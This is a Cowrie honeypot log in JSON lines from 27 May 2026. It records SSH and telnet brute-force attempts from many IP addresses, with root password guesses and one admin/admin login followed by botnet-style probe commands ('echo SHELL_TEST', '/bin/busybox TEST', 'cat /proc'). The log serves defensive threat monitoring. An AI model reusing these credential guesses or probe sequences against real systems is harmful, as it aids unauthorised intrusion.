{"eventid":"cowrie.session.closed","duration":35.4288170337677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:44.924133Z","src_ip":"135.148.14.151","session":"f4c7939e4358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":55972,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1b52339bbf","protocol":"ssh","message":"New connection: 103.173.227.57:55972 (10.17.0.5:22) [session: fc1b52339bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:48.180088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:48.184906Z","src_ip":"103.173.227.57","session":"fc1b52339bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:48.441118Z","src_ip":"103.173.227.57","session":"fc1b52339bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:49.208866Z","src_ip":"103.173.227.57","session":"fc1b52339bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.390254974365234,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:50.329833Z","src_ip":"135.148.14.151","session":"d3167129e8c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:50.467330Z","src_ip":"103.173.227.57","session":"fc1b52339bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8b907e36e5","protocol":"telnet","message":"New connection: 135.148.14.151:35834 (159.203.135.109:23) [session: 0f8b907e36e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:02.474525Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59712,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c378fdb3461","protocol":"ssh","message":"New connection: 89.108.118.91:59712 (10.17.0.5:22) [session: 2c378fdb3461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:06.603081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:06.609282Z","src_ip":"89.108.118.91","session":"2c378fdb3461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:06.743745Z","src_ip":"89.108.118.91","session":"2c378fdb3461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321z","message":"login attempt [root/654321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:07.155178Z","src_ip":"89.108.118.91","session":"2c378fdb3461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:08.294817Z","src_ip":"89.108.118.91","session":"2c378fdb3461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47640,"dst_ip":"159.203.135.109","dst_port":22,"session":"852596347c9c","protocol":"ssh","message":"New connection: 37.233.85.71:47640 (159.203.135.109:22) [session: 852596347c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:13.755462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:13.760445Z","src_ip":"37.233.85.71","session":"852596347c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:13.865383Z","src_ip":"37.233.85.71","session":"852596347c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbbvcxz","message":"login attempt [root/zxcvbbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:14.189839Z","src_ip":"37.233.85.71","session":"852596347c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.961867570877075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:14.249862Z","src_ip":"135.148.14.151","session":"6fc4740c7328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:15.299278Z","src_ip":"37.233.85.71","session":"852596347c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56452,"dst_ip":"10.17.0.5","dst_port":22,"session":"387f0cbd0e4b","protocol":"ssh","message":"New connection: 94.159.98.239:56452 (10.17.0.5:22) [session: 387f0cbd0e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:21.044976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:21.054754Z","src_ip":"94.159.98.239","session":"387f0cbd0e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:21.204875Z","src_ip":"94.159.98.239","session":"387f0cbd0e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbyjpfdh","message":"login attempt [root/lbyjpfdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:21.683490Z","src_ip":"94.159.98.239","session":"387f0cbd0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:22.891537Z","src_ip":"94.159.98.239","session":"387f0cbd0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40646,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc82a5451cff","protocol":"ssh","message":"New connection: 103.27.238.114:40646 (159.203.135.109:22) [session: cc82a5451cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:23.990387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:23.995127Z","src_ip":"103.27.238.114","session":"cc82a5451cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:24.276835Z","src_ip":"103.27.238.114","session":"cc82a5451cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cbcntvf","message":"login attempt [root/cbcntvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:25.119509Z","src_ip":"103.27.238.114","session":"cc82a5451cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":22310,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2eb82838b38","protocol":"telnet","message":"New connection: 31.56.209.112:22310 (159.203.135.109:23) [session: b2eb82838b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:25.614229Z"}
{"eventid":"cowrie.session.closed","duration":0.010332107543945312,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:25.624427Z","src_ip":"31.56.209.112","session":"b2eb82838b38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":22316,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2e6530ec6f","protocol":"telnet","message":"New connection: 31.56.209.112:22316 (159.203.135.109:23) [session: dd2e6530ec6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:25.694391Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:26.195082Z","src_ip":"31.56.209.112","session":"dd2e6530ec6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:26.403646Z","src_ip":"103.27.238.114","session":"cc82a5451cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5009961128234863,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:27.195270Z","src_ip":"31.56.209.112","session":"dd2e6530ec6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":22318,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f8265ef13cd","protocol":"telnet","message":"New connection: 31.56.209.112:22318 (159.203.135.109:23) [session: 4f8265ef13cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:27.275604Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:27.779241Z","src_ip":"31.56.209.112","session":"4f8265ef13cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.505411148071289,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:28.780869Z","src_ip":"31.56.209.112","session":"4f8265ef13cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":22332,"dst_ip":"159.203.135.109","dst_port":23,"session":"8581cf8d5989","protocol":"telnet","message":"New connection: 31.56.209.112:22332 (159.203.135.109:23) [session: 8581cf8d5989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:28.860795Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:29.360873Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:29.407933Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:30.360730Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:30.860791Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:31.463927Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:32.065069Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:32.069373Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:32.663944Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.816235065460205,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:32.676923Z","src_ip":"31.56.209.112","session":"8581cf8d5989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85444688796997,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:38.328863Z","src_ip":"135.148.14.151","session":"0f8b907e36e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"716ebcf0a50b","protocol":"telnet","message":"New connection: 135.148.14.151:54564 (159.203.135.109:23) [session: 716ebcf0a50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:47.242907Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c43cfc7fc02","protocol":"telnet","message":"New connection: 135.148.14.151:57892 (159.203.135.109:23) [session: 9c43cfc7fc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:54.049984Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c47636505d8","protocol":"telnet","message":"New connection: 135.148.14.151:60260 (159.203.135.109:23) [session: 7c47636505d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:08:57.677108Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37368,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c9378f3ecd9","protocol":"telnet","message":"New connection: 135.148.14.151:37368 (159.203.135.109:23) [session: 6c9378f3ecd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:09.223493Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.116.241","src_port":57846,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01c61134b4f","protocol":"telnet","message":"New connection: 128.201.116.241:57846 (159.203.135.109:23) [session: f01c61134b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:21.830044Z"}
{"eventid":"cowrie.session.closed","duration":35.957892179489136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:23.200674Z","src_ip":"135.148.14.151","session":"716ebcf0a50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521539211273193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:25.571394Z","src_ip":"135.148.14.151","session":"9c43cfc7fc02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.15669631958008,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:31.833695Z","src_ip":"135.148.14.151","session":"7c47636505d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.697264671325684,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:35.527190Z","src_ip":"128.201.116.241","session":"f01c61134b4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12735676765442,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:45.350718Z","src_ip":"135.148.14.151","session":"6c9378f3ecd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":48374,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5489d2185f","protocol":"ssh","message":"New connection: 147.45.197.250:48374 (159.203.135.109:22) [session: fd5489d2185f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:49.117212Z"}
